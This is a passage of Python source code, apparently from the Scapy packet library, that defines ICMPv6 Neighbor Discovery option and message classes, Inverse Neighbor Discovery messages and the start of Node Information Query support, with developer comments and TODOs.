1774 20: "Neighbor Advertisement Acknowledgement Option", 

1775 21: "CARD Request Option", # RFC 4065/4066/4067 

1776 22: "CARD Reply Option", # RFC 4065/4066/4067 

1777 23: "MAP Option", # RFC 4140 

1778 24: "Route Information Option", # RFC 4191 

1779 25: "Recursive DNS Server Option", 

1780 26: "IPv6 Router Advertisement Flags Option" 

1781 } 

1782 

1783icmp6ndoptscls = {1: "ICMPv6NDOptSrcLLAddr", 

1784 2: "ICMPv6NDOptDstLLAddr", 

1785 3: "ICMPv6NDOptPrefixInfo", 

1786 4: "ICMPv6NDOptRedirectedHdr", 

1787 5: "ICMPv6NDOptMTU", 

1788 6: "ICMPv6NDOptShortcutLimit", 

1789 7: "ICMPv6NDOptAdvInterval", 

1790 8: "ICMPv6NDOptHAInfo", 

1791 9: "ICMPv6NDOptSrcAddrList", 

1792 10: "ICMPv6NDOptTgtAddrList", 

1793 # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py 

1794 # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py 

1795 # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py 

1796 # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py 

1797 # 15: Do Me, 

1798 # 16: Do Me, 

1799 17: "ICMPv6NDOptIPAddr", 

1800 18: "ICMPv6NDOptNewRtrPrefix", 

1801 19: "ICMPv6NDOptLLA", 

1802 # 18: Do Me, 

1803 # 19: Do Me, 

1804 # 20: Do Me, 

1805 # 21: Do Me, 

1806 # 22: Do Me, 

1807 23: "ICMPv6NDOptMAP", 

1808 24: "ICMPv6NDOptRouteInfo", 

1809 25: "ICMPv6NDOptRDNSS", 

1810 26: "ICMPv6NDOptEFA", 

1811 31: "ICMPv6NDOptDNSSL", 

1812 37: "ICMPv6NDOptCaptivePortal", 

1813 38: "ICMPv6NDOptPREF64", 

1814 } 

1815 

1816icmp6ndraprefs = {0: "Medium (default)", 

1817 1: "High", 

1818 2: "Reserved", 

1819 3: "Low"} # RFC 4191 

1820 

1821 

1822class _ICMPv6NDGuessPayload: 

1823 name = "Dummy ND class that implements guess_payload_class()" 

1824 

1825 def guess_payload_class(self, p): 

1826 if len(p) > 1: 

1827 return icmp6ndoptscls.get(p[0], ICMPv6NDOptUnknown) 

1828 

1829 

1830# Beginning of ICMPv6 Neighbor Discovery Options. 

1831 

1832class ICMPv6NDOptDataField(StrLenField): 

1833 __slots__ = ["strip_zeros"] 

1834 

1835 def __init__(self, name, default, strip_zeros=False, **kwargs): 

1836 super().__init__(name, default, **kwargs) 

1837 self.strip_zeros = strip_zeros 

1838 

1839 def i2len(self, pkt, x): 

1840 return len(self.i2m(pkt, x)) 

1841 

1842 def i2m(self, pkt, x): 

1843 r = (len(x) + 2) % 8 

1844 if r: 

1845 x += b"\x00" * (8 - r) 

1846 return x 

1847 

1848 def m2i(self, pkt, x): 

1849 if self.strip_zeros: 

1850 x = x.rstrip(b"\x00") 

1851 return x 

1852 

1853 

1854class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): 

1855 name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" 

1856 fields_desc = [ByteField("type", 0), 

1857 FieldLenField("len", None, length_of="data", fmt="B", 

1858 adjust=lambda pkt, x: (2 + x) // 8), 

1859 ICMPv6NDOptDataField("data", "", strip_zeros=False, 

1860 length_from=lambda pkt: 

1861 8 * max(pkt.len, 1) - 2)] 

1862 

1863# NOTE: len includes type and len field. Expressed in unit of 8 bytes 

1864# TODO: Revoir le coup du ETHER_ANY 

1865 

1866 

1867class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): 

1868 name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" 

1869 fields_desc = [ByteField("type", 1), 

1870 ByteField("len", 1), 

1871 SourceMACField("lladdr")] 

1872 

1873 def mysummary(self): 

1874 return self.sprintf("%name% %lladdr%") 

1875 

1876 

1877class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): 

1878 name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" 

1879 type = 2 

1880 

1881 

1882class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): 

1883 name = "ICMPv6 Neighbor Discovery Option - Prefix Information" 

1884 fields_desc = [ByteField("type", 3), 

1885 ByteField("len", 4), 

1886 ByteField("prefixlen", 64), 

1887 BitField("L", 1, 1), 

1888 BitField("A", 1, 1), 

1889 BitField("R", 0, 1), 

1890 BitField("res1", 0, 5), 

1891 XIntField("validlifetime", 0xffffffff), 

1892 XIntField("preferredlifetime", 0xffffffff), 

1893 XIntField("res2", 0x00000000), 

1894 IP6Field("prefix", "::")] 

1895 

1896 def mysummary(self): 

1897 return self.sprintf("%name% %prefix%/%prefixlen% " 

1898 "On-link %L% Autonomous Address %A% " 

1899 "Router Address %R%") 

1900 

1901# TODO: We should also limit the size of included packet to something 

1902# like (initiallen - 40 - 2) 

1903 

1904 

1905class TruncPktLenField(PacketLenField): 

1906 def i2m(self, pkt, x): 

1907 s = bytes(x) 

1908 tmp_len = len(s) 

1909 return s[:tmp_len - (tmp_len % 8)] 

1910 

1911 def i2len(self, pkt, i): 

1912 return len(self.i2m(pkt, i)) 

1913 

1914 

1915class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): 

1916 name = "ICMPv6 Neighbor Discovery Option - Redirected Header" 

1917 fields_desc = [ByteField("type", 4), 

1918 FieldLenField("len", None, length_of="pkt", fmt="B", 

1919 adjust=lambda pkt, x: (x + 8) // 8), 

1920 MayEnd(StrFixedLenField("res", b"\x00" * 6, 6)), 

1921 TruncPktLenField("pkt", b"", IPv6, 

1922 length_from=lambda pkt: 8 * pkt.len - 8)] 

1923 

1924# See which value should be used for default MTU instead of 1280 

1925 

1926 

1927class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): 

1928 name = "ICMPv6 Neighbor Discovery Option - MTU" 

1929 fields_desc = [ByteField("type", 5), 

1930 ByteField("len", 1), 

1931 XShortField("res", 0), 

1932 IntField("mtu", 1280)] 

1933 

1934 def mysummary(self): 

1935 return self.sprintf("%name% %mtu%") 

1936 

1937 

1938class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 

1939 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" 

1940 fields_desc = [ByteField("type", 6), 

1941 ByteField("len", 1), 

1942 ByteField("shortcutlim", 40), # XXX 

1943 ByteField("res1", 0), 

1944 IntField("res2", 0)] 

1945 

1946 

1947class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): 

1948 name = "ICMPv6 Neighbor Discovery - Interval Advertisement" 

1949 fields_desc = [ByteField("type", 7), 

1950 ByteField("len", 1), 

1951 ShortField("res", 0), 

1952 IntField("advint", 0)] 

1953 

1954 def mysummary(self): 

1955 return self.sprintf("%name% %advint% milliseconds") 

1956 

1957 

1958class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): 

1959 name = "ICMPv6 Neighbor Discovery - Home Agent Information" 

1960 fields_desc = [ByteField("type", 8), 

1961 ByteField("len", 1), 

1962 ShortField("res", 0), 

1963 ShortField("pref", 0), 

1964 ShortField("lifetime", 1)] 

1965 

1966 def mysummary(self): 

1967 return self.sprintf("%name% %pref% %lifetime% seconds") 

1968 

1969# type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support 

1970 

1971# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support 

1972 

1973 

1974class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 

1975 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" 

1976 fields_desc = [ByteField("type", 17), 

1977 ByteField("len", 3), 

1978 ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 

1979 2: "New Care-Of Address", 

1980 3: "NAR's IP address"}), 

1981 ByteField("plen", 64), 

1982 IntField("res", 0), 

1983 IP6Field("addr", "::")] 

1984 

1985 

1986class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 

1987 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" # noqa: E501 

1988 fields_desc = [ByteField("type", 18), 

1989 ByteField("len", 3), 

1990 ByteField("optcode", 0), 

1991 ByteField("plen", 64), 

1992 IntField("res", 0), 

1993 IP6Field("prefix", "::")] 

1994 

1995 

1996_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 

1997 1: "LLA for the new AP", 

1998 2: "LLA of the MN", 

1999 3: "LLA of the NAR", 

2000 4: "LLA of the src of TrSolPr or PrRtAdv msg", 

2001 5: "AP identified by LLA belongs to current iface of router", # noqa: E501 

2002 6: "No preifx info available for AP identified by the LLA", # noqa: E501 

2003 7: "No fast handovers support for AP identified by the LLA"} # noqa: E501 

2004 

2005 

2006class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 

2007 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" # noqa: E501 

2008 fields_desc = [ByteField("type", 19), 

2009 ByteField("len", 1), 

2010 ByteEnumField("optcode", 0, _rfc4068_lla_optcode), 

2011 MACField("lla", ETHER_ANY)] # We only support ethernet 

2012 

2013 

2014class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 

2015 name = "ICMPv6 Neighbor Discovery - MAP Option" 

2016 fields_desc = [ByteField("type", 23), 

2017 ByteField("len", 3), 

2018 BitField("dist", 1, 4), 

2019 BitField("pref", 15, 4), # highest availability 

2020 BitField("R", 1, 1), 

2021 BitField("res", 0, 7), 

2022 IntField("validlifetime", 0xffffffff), 

2023 IP6Field("addr", "::")] 

2024 

2025 

2026class _IP6PrefixField(IP6Field): 

2027 __slots__ = ["length_from"] 

2028 

2029 def __init__(self, name, default): 

2030 IP6Field.__init__(self, name, default) 

2031 self.length_from = lambda pkt: 8 * (pkt.len - 1) 

2032 

2033 def addfield(self, pkt, s, val): 

2034 return s + self.i2m(pkt, val) 

2035 

2036 def getfield(self, pkt, s): 

2037 tmp_len = self.length_from(pkt) 

2038 p = s[:tmp_len] 

2039 if tmp_len < 16: 

2040 p += b'\x00' * (16 - tmp_len) 

2041 return s[tmp_len:], self.m2i(pkt, p) 

2042 

2043 def i2len(self, pkt, x): 

2044 return len(self.i2m(pkt, x)) 

2045 

2046 def i2m(self, pkt, x): 

2047 tmp_len = pkt.len 

2048 

2049 if x is None: 

2050 x = "::" 

2051 if tmp_len is None: 

2052 tmp_len = 1 

2053 x = inet_pton(socket.AF_INET6, x) 

2054 

2055 if tmp_len is None: 

2056 return x 

2057 if tmp_len in [0, 1]: 

2058 return b"" 

2059 if tmp_len in [2, 3]: 

2060 return x[:8 * (tmp_len - 1)] 

2061 

2062 return x + b'\x00' * 8 * (tmp_len - 3) 

2063 

2064 

2065class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 

2066 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" 

2067 fields_desc = [ByteField("type", 24), 

2068 FieldLenField("len", None, length_of="prefix", fmt="B", 

2069 adjust=lambda pkt, x: x // 8 + 1), 

2070 ByteField("plen", None), 

2071 BitField("res1", 0, 3), 

2072 BitEnumField("prf", 0, 2, icmp6ndraprefs), 

2073 BitField("res2", 0, 3), 

2074 IntField("rtlifetime", 0xffffffff), 

2075 _IP6PrefixField("prefix", None)] 

2076 

2077 def mysummary(self): 

2078 return self.sprintf("%name% %prefix%/%plen% Preference %prf%") 

2079 

2080 

2081class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 

2082 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" 

2083 fields_desc = [ByteField("type", 25), 

2084 FieldLenField("len", None, count_of="dns", fmt="B", 

2085 adjust=lambda pkt, x: 2 * x + 1), 

2086 ShortField("res", None), 

2087 IntField("lifetime", 0xffffffff), 

2088 IP6ListField("dns", [], 

2089 length_from=lambda pkt: 8 * (pkt.len - 1))] 

2090 

2091 def mysummary(self): 

2092 return self.sprintf("%name% ") + ", ".join(self.dns) 

2093 

2094 

2095class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) 

2096 name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" 

2097 fields_desc = [ByteField("type", 26), 

2098 ByteField("len", 1), 

2099 BitField("res", 0, 48)] 

2100 

2101# As required in Sect 8. of RFC 3315, Domain Names must be encoded as 

2102# described in section 3.1 of RFC 1035 

2103# XXX Label should be at most 63 octets in length : we do not enforce it 

2104# Total length of domain should be 255 : we do not enforce it either 

2105 

2106 

2107class DomainNameListField(StrLenField): 

2108 __slots__ = ["padded"] 

2109 islist = 1 

2110 padded_unit = 8 

2111 

2112 def __init__(self, name, default, length_from=None, padded=False): # noqa: E501 

2113 self.padded = padded 

2114 StrLenField.__init__(self, name, default, length_from=length_from) 

2115 

2116 def i2len(self, pkt, x): 

2117 return len(self.i2m(pkt, x)) 

2118 

2119 def i2h(self, pkt, x): 

2120 if not x: 

2121 return [] 

2122 return x 

2123 

2124 def m2i(self, pkt, x): 

2125 x = plain_str(x) # Decode bytes to string 

2126 res = [] 

2127 while x: 

2128 # Get a name until \x00 is reached 

2129 cur = [] 

2130 while x and ord(x[0]) != 0: 

2131 tmp_len = ord(x[0]) 

2132 cur.append(x[1:tmp_len + 1]) 

2133 x = x[tmp_len + 1:] 

2134 if self.padded: 

2135 # Discard following \x00 in padded mode 

2136 if len(cur): 

2137 res.append(".".join(cur) + ".") 

2138 else: 

2139 # Store the current name 

2140 res.append(".".join(cur) + ".") 

2141 if x and ord(x[0]) == 0: 

2142 x = x[1:] 

2143 return res 

2144 

2145 def i2m(self, pkt, x): 

2146 def conditionalTrailingDot(z): 

2147 if z and z[-1] == 0: 

2148 return z 

2149 return z + b'\x00' 

2150 # Build the encode names 

2151 tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes # noqa: E501 

2152 ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp) 

2153 

2154 # In padded mode, add some \x00 bytes 

2155 if self.padded and not len(ret_string) % self.padded_unit == 0: 

2156 ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) # noqa: E501 

2157 

2158 return ret_string 

2159 

2160 

2161class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 

2162 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" 

2163 fields_desc = [ByteField("type", 31), 

2164 FieldLenField("len", None, length_of="searchlist", fmt="B", 

2165 adjust=lambda pkt, x: 1 + x // 8), 

2166 ShortField("res", None), 

2167 IntField("lifetime", 0xffffffff), 

2168 DomainNameListField("searchlist", [], 

2169 length_from=lambda pkt: 8 * pkt.len - 8, 

2170 padded=True) 

2171 ] 

2172 

2173 def mysummary(self): 

2174 return self.sprintf("%name% ") + ", ".join(self.searchlist) 

2175 

2176 

2177class ICMPv6NDOptCaptivePortal(_ICMPv6NDGuessPayload, Packet): # RFC 8910 

2178 name = "ICMPv6 Neighbor Discovery Option - Captive-Portal Option" 

2179 fields_desc = [ByteField("type", 37), 

2180 FieldLenField("len", None, length_of="URI", fmt="B", 

2181 adjust=lambda pkt, x: (2 + x) // 8), 

2182 ICMPv6NDOptDataField("URI", "", strip_zeros=True, 

2183 length_from=lambda pkt: 

2184 8 * max(pkt.len, 1) - 2)] 

2185 

2186 def mysummary(self): 

2187 return self.sprintf("%name% %URI%") 

2188 

2189 

2190class _PREF64(IP6Field): 

2191 def addfield(self, pkt, s, val): 

2192 return s + self.i2m(pkt, val)[:12] 

2193 

2194 def getfield(self, pkt, s): 

2195 return s[12:], self.m2i(pkt, s[:12] + b"\x00" * 4) 

2196 

2197 

2198class ICMPv6NDOptPREF64(_ICMPv6NDGuessPayload, Packet): # RFC 8781 

2199 name = "ICMPv6 Neighbor Discovery Option - PREF64 Option" 

2200 fields_desc = [ByteField("type", 38), 

2201 ByteField("len", 2), 

2202 BitField("scaledlifetime", 0, 13), 

2203 BitEnumField("plc", 0, 3, 

2204 ["/96", "/64", "/56", "/48", "/40", "/32"]), 

2205 _PREF64("prefix", "::")] 

2206 

2207 def mysummary(self): 

2208 plc = self.sprintf("%plc%") if self.plc < 6 else f"[invalid PLC({self.plc})]" 

2209 return self.sprintf("%name% %prefix%") + plc 

2210 

2211# End of ICMPv6 Neighbor Discovery Options. 

2212 

2213 

2214class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): 

2215 name = "ICMPv6 Neighbor Discovery - Router Solicitation" 

2216 fields_desc = [ByteEnumField("type", 133, icmp6types), 

2217 ByteField("code", 0), 

2218 XShortField("cksum", None), 

2219 IntField("res", 0)] 

2220 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::2", "hlim": 255}} 

2221 

2222 

2223class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): 

2224 name = "ICMPv6 Neighbor Discovery - Router Advertisement" 

2225 fields_desc = [ByteEnumField("type", 134, icmp6types), 

2226 ByteField("code", 0), 

2227 XShortField("cksum", None), 

2228 ByteField("chlim", 0), 

2229 BitField("M", 0, 1), 

2230 BitField("O", 0, 1), 

2231 BitField("H", 0, 1), 

2232 BitEnumField("prf", 1, 2, icmp6ndraprefs), # RFC 4191 

2233 BitField("P", 0, 1), 

2234 BitField("res", 0, 2), 

2235 ShortField("routerlifetime", 1800), 

2236 IntField("reachabletime", 0), 

2237 IntField("retranstimer", 0)] 

2238 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} 

2239 

2240 def answers(self, other): 

2241 return isinstance(other, ICMPv6ND_RS) 

2242 

2243 def mysummary(self): 

2244 return self.sprintf("%name% Lifetime %routerlifetime% " 

2245 "Hop Limit %chlim% Preference %prf% " 

2246 "Managed %M% Other %O% Home %H%") 

2247 

2248 

2249class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): 

2250 name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" 

2251 fields_desc = [ByteEnumField("type", 135, icmp6types), 

2252 ByteField("code", 0), 

2253 XShortField("cksum", None), 

2254 IntField("res", 0), 

2255 IP6Field("tgt", "::")] 

2256 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} 

2257 

2258 def mysummary(self): 

2259 return self.sprintf("%name% (tgt: %tgt%)") 

2260 

2261 def hashret(self): 

2262 return bytes_encode(self.tgt) + self.payload.hashret() 

2263 

2264 

2265class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): 

2266 name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" 

2267 fields_desc = [ByteEnumField("type", 136, icmp6types), 

2268 ByteField("code", 0), 

2269 XShortField("cksum", None), 

2270 BitField("R", 1, 1), 

2271 BitField("S", 0, 1), 

2272 BitField("O", 1, 1), 

2273 XBitField("res", 0, 29), 

2274 IP6Field("tgt", "::")] 

2275 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} 

2276 

2277 def mysummary(self): 

2278 return self.sprintf("%name% (tgt: %tgt%)") 

2279 

2280 def hashret(self): 

2281 return bytes_encode(self.tgt) + self.payload.hashret() 

2282 

2283 def answers(self, other): 

2284 return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt 

2285 

2286# associated possible options : target link-layer option, Redirected header 

2287 

2288 

2289class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): 

2290 name = "ICMPv6 Neighbor Discovery - Redirect" 

2291 fields_desc = [ByteEnumField("type", 137, icmp6types), 

2292 ByteField("code", 0), 

2293 XShortField("cksum", None), 

2294 XIntField("res", 0), 

2295 IP6Field("tgt", "::"), 

2296 IP6Field("dst", "::")] 

2297 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} 

2298 

2299 

2300# ICMPv6 Inverse Neighbor Discovery (RFC 3122) # 

2301 

2302class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): 

2303 name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" 

2304 fields_desc = [ByteField("type", 9), 

2305 FieldLenField("len", None, count_of="addrlist", fmt="B", 

2306 adjust=lambda pkt, x: 2 * x + 1), 

2307 StrFixedLenField("res", b"\x00" * 6, 6), 

2308 IP6ListField("addrlist", [], 

2309 length_from=lambda pkt: 8 * (pkt.len - 1))] 

2310 

2311 

2312class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): 

2313 name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" 

2314 type = 10 

2315 

2316 

2317# RFC3122 

2318# Options requises : source lladdr et target lladdr 

2319# Autres options valides : source address list, MTU 

2320# - Comme precise dans le document, il serait bien de prendre l'adresse L2 

2321# demandee dans l'option requise target lladdr et l'utiliser au niveau 

2322# de l'adresse destination ethernet si aucune adresse n'est precisee 

2323# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes 

2324# les options. 

2325# Ether() must use the target lladdr as destination 

2326class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): 

2327 name = "ICMPv6 Inverse Neighbor Discovery Solicitation" 

2328 fields_desc = [ByteEnumField("type", 141, icmp6types), 

2329 ByteField("code", 0), 

2330 XShortField("cksum", None), 

2331 XIntField("reserved", 0)] 

2332 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} 

2333 

2334# Options requises : target lladdr, target address list 

2335# Autres options valides : MTU 

2336 

2337 

2338class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): 

2339 name = "ICMPv6 Inverse Neighbor Discovery Advertisement" 

2340 fields_desc = [ByteEnumField("type", 142, icmp6types), 

2341 ByteField("code", 0), 

2342 XShortField("cksum", None), 

2343 XIntField("reserved", 0)] 

2344 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} 

2345 

2346 

2347############################################################################### 

2348# ICMPv6 Node Information Queries (RFC 4620) 

2349############################################################################### 

2350 

2351# [ ] Add automatic destination address computation using computeNIGroupAddr 

2352# in IPv6 class (Scapy6 modification when integrated) if : 

2353# - it is not provided 

2354# - upper layer is ICMPv6NIQueryName() with a valid value 

2355# [ ] Try to be liberal in what we accept as internal values for _explicit_ 

2356# DNS elements provided by users. Any string should be considered 

2357# valid and kept like it has been provided. At the moment, i2repr() will 

2358# crash on many inputs 

2359# [ ] Do the documentation 

2360# [ ] Add regression tests 

2361# [ ] Perform test against real machines (NOOP reply is proof of implementation). # noqa: E501 

2362# [ ] Check if there are differences between different stacks. Among *BSD, 

2363# with others. 

2364# [ ] Deal with flags in a consistent way. 

2365# [ ] Implement compression in names2dnsrepr() and decompresiion in 

2366# dnsrepr2names(). Should be deactivable. 

2367 

2368icmp6_niqtypes = {0: "NOOP", 

2369 2: "Node Name", 

2370 3: "IPv6 Address", 

2371 4: "IPv4 Address"} 

2372 

2373 

2374class _ICMPv6NIHashret: 

2375 def hashret(self): 

2376 return bytes_encode(self.nonce) 

2377 

2378 

2379class _ICMPv6NIAnswers: 

2380 def answers(self, other): 

2381 return self.nonce == other.nonce 

2382 

2383# Buggy; always returns the same value during a session 

2384 

2385 

2386class NonceField(StrFixedLenField): 

2387 def __init__(self, name, default=None): 

2388 StrFixedLenField.__init__(self, name, default, 8) 

2389 if default is None: 

2390 self.default = self.randval() 

2391 

2392 

2393@conf.commands.register 

2394def computeNIGroupAddr(name): 

2395 """Compute the NI group Address. Can take a FQDN as input parameter""" 

2396 name = name.lower().split(".")[0] 

2397 record = chr(len(name)) + name 

2398 h = md5(record.encode("utf8")) 

2399 h = h.digest() 

2400 addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) 

2401 return addr 

2402 

2403 

2404# Here is the deal. First, that protocol is a piece of shit. Then, we 

2405# provide 4 classes for the different kinds of Requests (one for every 

2406# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same 

2407# data field class that is made to be smart by guessing the specific 

2408# type of value provided : 

2409# 

2410# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, 

2411# if not overridden by user 

2412# - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, 

2413# if not overridden 

2414# - Name in the other cases: code is set to 0, if not overridden by user 

2415# 

2416# Internal storage, is not only the value, but the a pair providing 

2417# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) 

2418# 

2419# Note : I merged getfield() and m2i(). m2i() should not be called 

2420# directly anyway. Same remark for addfield() and i2m() 

2421# 

2422# -- arno 

2423 

2424# "The type of information present in the Data field of a query is 

2425# declared by the ICMP Code, whereas the type of information in a 

2426# Reply is determined by the Qtype" 

2427 

2428def names2dnsrepr(x): 

2429 """ 

2430 Take as input a list of DNS names or a single DNS name 

2431 and encode it in DNS format (with possible compression) 

2432 If a string that is already a DNS name in DNS format 

2433 is passed, it is returned unmodified. Result is a string. 

2434 !!! At the moment, compression is not implemented !!! 

2435 """ 

2436 

2437 if isinstance(x, bytes): 

2438 if x and x[-1:] == b'\x00': # stupid heuristic 

2439 return x 

2440 x = [x] 

2441 

2442 res = [] 

2443 for n in x: 

2444 termin = b"\x00" 

2445 if n.count(b'.') == 0: # single-component gets one more 

2446 termin += b'\x00' 

2447 n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin 

2448 res.append(n) 

2449 return b"".join(res) 

2450 

2451 

2452def dnsrepr2names(x): 

2453 """ 

2454 Take as input a DNS encoded string (possibly compressed) 

2455 and returns a list of DNS names contained in it. 

2456 If provided string is already in printable format 

2457 (does not end with a null character, a one element list 

2458 is returned). Result is a list. 

2459 """ 

2460 res = [] 

2461 cur = b"" 

2462 while x: 

2463 tmp_len = x[0] 

2464 x = x[1:] 

2465 if not tmp_len: 

2466 if cur and cur[-1:] == b'.': 

2467 cur = cur[:-1] 

2468 res.append(cur) 

2469 cur = b"" 

2470 if x and x[0] == 0: # single component 

2471 x = x[1:] 

2472 continue 

2473 if tmp_len & 0xc0: # XXX TODO : work on that -- arno 

2474 raise Exception("DNS message can't be compressed at this point!") 

2475 cur += x[:tmp_len] + b"." 

2476 x = x[tmp_len:] 

2477 return res 

2478 

2479 

2480class NIQueryDataField(StrField): 

2481 def __init__(self, name, default): 

2482 StrField.__init__(self, name, default) 

2483 

2484 def i2h(self, pkt, x): 

2485 if x is None: 

2486 return x 

2487 t, val = x 

2488 if t == 1: 

2489 val = dnsrepr2names(val)[0] 

2490 return val 

2491 

2492 def h2i(self, pkt, x): 

2493 if x is tuple and isinstance(x[0], int): 

2494 return x 

2495 

2496 # Try IPv6 

2497 try: 

2498 inet_pton(socket.AF_INET6, x.decode()) 

2499 return (0, x.decode()) 

2500 except Exception: 

2501 pass 

2502 # Try IPv4 

2503 try: 

2504 inet_pton(socket.AF_INET, x.decode()) 

2505 return (2, x.decode()) 

2506 except Exception: 

2507 pass 

2508 # Try DNS 

2509 if x is None: 

2510 x = b"" 

2511 x = names2dnsrepr(x) 

2512 return (1, x) 

2513 

2514 def i2repr(self, pkt, x): 

2515 t, val = x 

2516 if t == 1: # DNS Name 

2517 # we don't use dnsrepr2names() to deal with 

2518 # possible weird data extracted info 

2519 res = [] 

2520 while val: 

2521 tmp_len = val[0] 

2522 val = val[1:] 

2523 if tmp_len == 0: 

2524 break 

2525 res.append(plain_str(val[:tmp_len]) + ".") 

2526 val = val[tmp_len:] 

2527 tmp = "".join(res) 

2528 if tmp and tmp[-1] == '.': 

2529 tmp = tmp[:-1] 

2530 return tmp 

2531 return repr(val) 

2532 

2533 def getfield(self, pkt, s): 

2534 qtype = getattr(pkt, "qtype") 

2535 if qtype == 0: # NOOP 

2536 return s, (0, b"") 

2537 else: 

2538 code = getattr(pkt, "code") 

2539 if code == 0: # IPv6 Addr 

2540 return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) 

2541 elif code == 2: # IPv4 Addr 

2542 return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) 

2543 else: # Name or Unknown 

2544 return b"", (1, s) 

2545 

2546 def addfield(self, pkt, s, val): 

2547 if ((isinstance(val, tuple) and val[1] is None) or 

2548 val is None): 

2549 val = (1, b"") 

2550 t = val[0] 

2551 if t == 1: 

2552 return s + val[1] 

2553 elif t == 0: 

2554 return s + inet_pton(socket.AF_INET6, val[1]) 

2555 else: 

2556 return s + inet_pton(socket.AF_INET, val[1]) 

2557 

2558 

2559class NIQueryCodeField(ByteEnumField): 

2560 def i2m(self, pkt, x): 

2561 if x is None: 

2562 d = pkt.getfieldval("data") 

2563 if d is None: 

2564 return 1 

2565 elif d[0] == 0: # IPv6 address 

2566 return 0 

2567 elif d[0] == 1: # Name 

2568 return 1 

2569 elif d[0] == 2: # IPv4 address 

2570 return 2 

2571 else: 

2572 return 1 

2573 return x 

2574 

2575 

2576_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} 

2577 

2578# _niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", 

2579# 8: "Link-local addresses", 16: "Site-local addresses", 

2580# 32: "Global addresses" } 

2581 

2582# "This NI type has no defined flags and never has a Data Field". Used 

2583# to know if the destination is up and implements NI protocol. 

2584 

2585 

2586class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): 

2587 name = "ICMPv6 Node Information Query - NOOP Query" 

2588 fields_desc = [ByteEnumField("type", 139, icmp6types), 

2589 NIQueryCodeField("code", None, _niquery_code), 

